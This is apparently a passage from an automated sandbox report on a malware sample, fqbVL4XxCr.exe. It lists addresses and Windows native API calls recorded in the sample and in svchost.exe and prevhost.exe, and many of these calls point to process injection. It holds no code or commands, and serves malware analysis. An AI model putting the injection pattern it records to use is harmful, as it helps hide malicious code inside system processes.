                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A72DF0 NtQuerySystemInformation,LdrInitializeThunk,2_2_03A72DF0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A72C70 NtFreeVirtualMemory,LdrInitializeThunk,2_2_03A72C70
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A735C0 NtCreateMutant,LdrInitializeThunk,2_2_03A735C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A74340 NtSetContextThread,2_2_03A74340
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A74650 NtSuspendThread,2_2_03A74650
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A72BA0 NtEnumerateValueKey,2_2_03A72BA0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A72B80 NtQueryInformationFile,2_2_03A72B80
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A72BE0 NtQueryValueKey,2_2_03A72BE0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A72BF0 NtAllocateVirtualMemory,2_2_03A72BF0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A72AB0 NtWaitForSingleObject,2_2_03A72AB0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A72AF0 NtWriteFile,2_2_03A72AF0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A72AD0 NtReadFile,2_2_03A72AD0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A72FA0 NtQuerySection,2_2_03A72FA0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A72FB0 NtResumeThread,2_2_03A72FB0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A72F90 NtProtectVirtualMemory,2_2_03A72F90
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A72FE0 NtCreateFile,2_2_03A72FE0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A72F30 NtCreateSection,2_2_03A72F30
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A72F60 NtCreateProcessEx,2_2_03A72F60
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A72EA0 NtAdjustPrivilegesToken,2_2_03A72EA0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A72E80 NtReadVirtualMemory,2_2_03A72E80
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A72EE0 NtQueueApcThread,2_2_03A72EE0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A72E30 NtWriteVirtualMemory,2_2_03A72E30
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A72DB0 NtEnumerateKey,2_2_03A72DB0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A72DD0 NtDelayExecution,2_2_03A72DD0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A72D30 NtUnmapViewOfSection,2_2_03A72D30
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A72D00 NtSetInformationFile,2_2_03A72D00
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A72D10 NtMapViewOfSection,2_2_03A72D10
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A72CA0 NtQueryInformationToken,2_2_03A72CA0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A72CF0 NtOpenProcess,2_2_03A72CF0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A72CC0 NtQueryVirtualMemory,2_2_03A72CC0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A72C00 NtQueryInformationProcess,2_2_03A72C00
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A72C60 NtCreateKey,2_2_03A72C60
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A73090 NtSetValueKey,2_2_03A73090
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A73010 NtOpenDirectoryObject,2_2_03A73010
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A739B0 NtGetContextThread,2_2_03A739B0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A73D10 NtOpenProcessToken,2_2_03A73D10
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A73D70 NtOpenThread,2_2_03A73D70
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_045A4650 NtSuspendThread,LdrInitializeThunk,5_2_045A4650
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_045A4340 NtSetContextThread,LdrInitializeThunk,5_2_045A4340
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_045A2C70 NtFreeVirtualMemory,LdrInitializeThunk,5_2_045A2C70
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_045A2C60 NtCreateKey,LdrInitializeThunk,5_2_045A2C60
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_045A2CA0 NtQueryInformationToken,LdrInitializeThunk,5_2_045A2CA0
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_045A2D10 NtMapViewOfSection,LdrInitializeThunk,5_2_045A2D10
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_045A2D30 NtUnmapViewOfSection,LdrInitializeThunk,5_2_045A2D30
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_045A2DD0 NtDelayExecution,LdrInitializeThunk,5_2_045A2DD0
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_045A2DF0 NtQuerySystemInformation,LdrInitializeThunk,5_2_045A2DF0
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_045A2EE0 NtQueueApcThread,LdrInitializeThunk,5_2_045A2EE0
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_045A2E80 NtReadVirtualMemory,LdrInitializeThunk,5_2_045A2E80
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_045A2F30 NtCreateSection,LdrInitializeThunk,5_2_045A2F30
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_045A2FE0 NtCreateFile,LdrInitializeThunk,5_2_045A2FE0
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_045A2FB0 NtResumeThread,LdrInitializeThunk,5_2_045A2FB0
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_045A2AD0 NtReadFile,LdrInitializeThunk,5_2_045A2AD0
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_045A2AF0 NtWriteFile,LdrInitializeThunk,5_2_045A2AF0
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_045A2B60 NtClose,LdrInitializeThunk,5_2_045A2B60
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_045A2BF0 NtAllocateVirtualMemory,LdrInitializeThunk,5_2_045A2BF0
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_045A2BE0 NtQueryValueKey,LdrInitializeThunk,5_2_045A2BE0
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_045A2BA0 NtEnumerateValueKey,LdrInitializeThunk,5_2_045A2BA0
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_045A35C0 NtCreateMutant,LdrInitializeThunk,5_2_045A35C0
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_045A39B0 NtGetContextThread,LdrInitializeThunk,5_2_045A39B0
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_045A2C00 NtQueryInformationProcess,5_2_045A2C00
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_045A2CC0 NtQueryVirtualMemory,5_2_045A2CC0
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_045A2CF0 NtOpenProcess,5_2_045A2CF0
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_045A2D00 NtSetInformationFile,5_2_045A2D00
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_045A2DB0 NtEnumerateKey,5_2_045A2DB0
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_045A2E30 NtWriteVirtualMemory,5_2_045A2E30
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_045A2EA0 NtAdjustPrivilegesToken,5_2_045A2EA0
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_045A2F60 NtCreateProcessEx,5_2_045A2F60
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_045A2F90 NtProtectVirtualMemory,5_2_045A2F90
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_045A2FA0 NtQuerySection,5_2_045A2FA0
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_045A2AB0 NtWaitForSingleObject,5_2_045A2AB0
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_045A2B80 NtQueryInformationFile,5_2_045A2B80
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_045A3010 NtOpenDirectoryObject,5_2_045A3010
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_045A3090 NtSetValueKey,5_2_045A3090
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_045A3D70 NtOpenThread,5_2_045A3D70
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_045A3D10 NtOpenProcessToken,5_2_045A3D10
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_003C93A0 NtCreateFile,5_2_003C93A0
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_003C9510 NtReadFile,5_2_003C9510
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_003C9600 NtDeleteFile,5_2_003C9600
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_003C96A0 NtClose,5_2_003C96A0
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_003C9800 NtAllocateVirtualMemory,5_2_003C9800
                Source: C:\Users\user\Desktop\fqbVL4XxCr.exeCode function: 0_2_002FD5EB: CreateFileW,DeviceIoControl,CloseHandle,0_2_002FD5EB
                Source: C:\Users\user\Desktop\fqbVL4XxCr.exeCode function: 0_2_002F1201 LogonUserW,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcslen,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,GetProcessHeap,HeapFree,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock,0_2_002F1201
                Source: C:\Users\user\Desktop\fqbVL4XxCr.exeCode function: 0_2_002FE8F6 ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,0_2_002FE8F6
                Source: C:\Users\user\Desktop\fqbVL4XxCr.exeCode function: 0_2_0029BF400_2_0029BF40
                Source: C:\Users\user\Desktop\fqbVL4XxCr.exeCode function: 0_2_002980600_2_00298060
                Source: C:\Users\user\Desktop\fqbVL4XxCr.exeCode function: 0_2_003020460_2_00302046
                Source: C:\Users\user\Desktop\fqbVL4XxCr.exeCode function: 0_2_002F82980_2_002F8298
                Source: C:\Users\user\Desktop\fqbVL4XxCr.exeCode function: 0_2_002CE4FF0_2_002CE4FF
                Source: C:\Users\user\Desktop\fqbVL4XxCr.exeCode function: 0_2_002C676B0_2_002C676B
                Source: C:\Users\user\Desktop\fqbVL4XxCr.exeCode function: 0_2_003248730_2_00324873
                Source: C:\Users\user\Desktop\fqbVL4XxCr.exeCode function: 0_2_002BCAA00_2_002BCAA0
                Source: C:\Users\user\Desktop\fqbVL4XxCr.exeCode function: 0_2_0029CAF00_2_0029CAF0
                Source: C:\Users\user\Desktop\fqbVL4XxCr.exeCode function: 0_2_002ACC390_2_002ACC39
                Source: C:\Users\user\Desktop\fqbVL4XxCr.exeCode function: 0_2_002C6DD90_2_002C6DD9
                Source: C:\Users\user\Desktop\fqbVL4XxCr.exeCode function: 0_2_002AD0640_2_002AD064
                Source: C:\Users\user\Desktop\fqbVL4XxCr.exeCode function: 0_2_002AB1190_2_002AB119
                Source: C:\Users\user\Desktop\fqbVL4XxCr.exeCode function: 0_2_002991C00_2_002991C0
                Source: C:\Users\user\Desktop\fqbVL4XxCr.exeCode function: 0_2_002B13940_2_002B1394
                Source: C:\Users\user\Desktop\fqbVL4XxCr.exeCode function: 0_2_002B17060_2_002B1706
                Source: C:\Users\user\Desktop\fqbVL4XxCr.exeCode function: 0_2_002B781B0_2_002B781B
                Source: C:\Users\user\Desktop\fqbVL4XxCr.exeCode function: 0_2_002979200_2_00297920
                Source: C:\Users\user\Desktop\fqbVL4XxCr.exeCode function: 0_2_002A997D0_2_002A997D
                Source: C:\Users\user\Desktop\fqbVL4XxCr.exeCode function: 0_2_002B19B00_2_002B19B0
                Source: C:\Users\user\Desktop\fqbVL4XxCr.exeCode function: 0_2_002B7A4A0_2_002B7A4A
                Source: C:\Users\user\Desktop\fqbVL4XxCr.exeCode function: 0_2_002B1C770_2_002B1C77
                Source: C:\Users\user\Desktop\fqbVL4XxCr.exeCode function: 0_2_002B7CA70_2_002B7CA7
                Source: C:\Users\user\Desktop\fqbVL4XxCr.exeCode function: 0_2_0031BE440_2_0031BE44
                Source: C:\Users\user\Desktop\fqbVL4XxCr.exeCode function: 0_2_002C9EEE0_2_002C9EEE
                Source: C:\Users\user\Desktop\fqbVL4XxCr.exeCode function: 0_2_002B1F320_2_002B1F32
                Source: C:\Users\user\Desktop\fqbVL4XxCr.exeCode function: 0_2_00D561380_2_00D56138
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_004142832_2_00414283
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_00418A832_2_00418A83
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_004048442_2_00404844
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_004011C02_2_004011C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_004029A02_2_004029A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_004011B52_2_004011B5
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_004102632_2_00410263
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0042F2132_2_0042F213
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_004032A02_2_004032A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0040E4632_2_0040E463
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_00416C7E2_2_00416C7E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_00416C832_2_00416C83
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_004104832_2_00410483
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0040E5A82_2_0040E5A8
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0040E5B32_2_0040E5B3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A4E3F02_2_03A4E3F0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03B003E62_2_03B003E6
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AFA3522_2_03AFA352
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AC02C02_2_03AC02C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AE02742_2_03AE0274
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AF41A22_2_03AF41A2
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03B001AA2_2_03B001AA
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AF81CC2_2_03AF81CC
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A301002_2_03A30100
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03ADA1182_2_03ADA118
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AC81582_2_03AC8158
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AD20002_2_03AD2000
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A3C7C02_2_03A3C7C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A407702_2_03A40770
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A647502_2_03A64750
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A5C6E02_2_03A5C6E0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03B005912_2_03B00591
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A405352_2_03A40535
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AEE4F62_2_03AEE4F6
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AE44202_2_03AE4420
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AF24462_2_03AF2446
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AF6BD72_2_03AF6BD7
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AFAB402_2_03AFAB40
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A3EA802_2_03A3EA80
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A429A02_2_03A429A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03B0A9A62_2_03B0A9A6
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A569622_2_03A56962
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A268B82_2_03A268B8
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A6E8F02_2_03A6E8F0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A4A8402_2_03A4A840
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A428402_2_03A42840
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03ABEFA02_2_03ABEFA0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A4CFE02_2_03A4CFE0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A32FC82_2_03A32FC8
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A82F282_2_03A82F28
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A60F302_2_03A60F30
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AE2F302_2_03AE2F30
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB4F402_2_03AB4F40
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A52E902_2_03A52E90
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AFCE932_2_03AFCE93
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AFEEDB2_2_03AFEEDB
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AFEE262_2_03AFEE26
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A40E592_2_03A40E59
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A58DBF2_2_03A58DBF
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A3ADE02_2_03A3ADE0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A4AD002_2_03A4AD00
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03ADCD1F2_2_03ADCD1F
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AE0CB52_2_03AE0CB5
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A30CF22_2_03A30CF2
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A40C002_2_03A40C00
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A8739A2_2_03A8739A
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AF132D2_2_03AF132D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A2D34C2_2_03A2D34C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A452A02_2_03A452A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AE12ED2_2_03AE12ED
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A5B2C02_2_03A5B2C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A4B1B02_2_03A4B1B0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A7516C2_2_03A7516C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A2F1722_2_03A2F172
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03B0B16B2_2_03B0B16B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AF70E92_2_03AF70E9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AFF0E02_2_03AFF0E0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AEF0CC2_2_03AEF0CC
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A470C02_2_03A470C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AFF7B02_2_03AFF7B0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AF16CC2_2_03AF16CC
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A856302_2_03A85630
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03ADD5B02_2_03ADD5B0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03B095C32_2_03B095C3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AF75712_2_03AF7571
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AFF43F2_2_03AFF43F
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A314602_2_03A31460
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A5FB802_2_03A5FB80
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB5BF02_2_03AB5BF0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A7DBF92_2_03A7DBF9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AFFB762_2_03AFFB76
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03ADDAAC2_2_03ADDAAC
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A85AA02_2_03A85AA0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AE1AA32_2_03AE1AA3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AEDAC62_2_03AEDAC6
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB3A6C2_2_03AB3A6C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AFFA492_2_03AFFA49
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AF7A462_2_03AF7A46
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AD59102_2_03AD5910
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A499502_2_03A49950
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A5B9502_2_03A5B950
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A438E02_2_03A438E0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AAD8002_2_03AAD800
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AFFFB12_2_03AFFFB1
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A41F922_2_03A41F92
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AFFF092_2_03AFFF09
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A49EB02_2_03A49EB0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A5FDC02_2_03A5FDC0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AF7D732_2_03AF7D73
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A43D402_2_03A43D40
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AF1D5A2_2_03AF1D5A
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AFFCF22_2_03AFFCF2
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB9C322_2_03AB9C32
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_046224465_2_04622446
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_046144205_2_04614420
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_0461E4F65_2_0461E4F6
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_045705355_2_04570535
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_046305915_2_04630591
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_0458C6E05_2_0458C6E0
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_045947505_2_04594750
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_045707705_2_04570770
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_0456C7C05_2_0456C7C0
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_046020005_2_04602000
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_045F81585_2_045F8158
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_045601005_2_04560100
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_0460A1185_2_0460A118
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_046281CC5_2_046281CC
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_046241A25_2_046241A2
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_046301AA5_2_046301AA
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_046102745_2_04610274
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_045F02C05_2_045F02C0
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_0462A3525_2_0462A352
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_046303E65_2_046303E6
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_0457E3F05_2_0457E3F0
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_04570C005_2_04570C00
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_04560CF25_2_04560CF2
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_04610CB55_2_04610CB5
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_0457AD005_2_0457AD00
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_0460CD1F5_2_0460CD1F
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_0456ADE05_2_0456ADE0
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_04588DBF5_2_04588DBF
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_04570E595_2_04570E59
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_0462EE265_2_0462EE26
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_0462EEDB5_2_0462EEDB
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_04582E905_2_04582E90
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_0462CE935_2_0462CE93
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_045E4F405_2_045E4F40
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_04612F305_2_04612F30
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_04590F305_2_04590F30
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_045B2F285_2_045B2F28
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_04562FC85_2_04562FC8
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_0457CFE05_2_0457CFE0
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_045EEFA05_2_045EEFA0
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_045728405_2_04572840
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_0457A8405_2_0457A840
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_0459E8F05_2_0459E8F0
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_045568B85_2_045568B8
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_045869625_2_04586962
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_0463A9A65_2_0463A9A6
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_045729A05_2_045729A0
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_0456EA805_2_0456EA80
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_0462AB405_2_0462AB40
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_04626BD75_2_04626BD7
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_045614605_2_04561460
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_0462F43F5_2_0462F43F
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_046275715_2_04627571
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_0460D5B05_2_0460D5B0
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_045B56305_2_045B5630
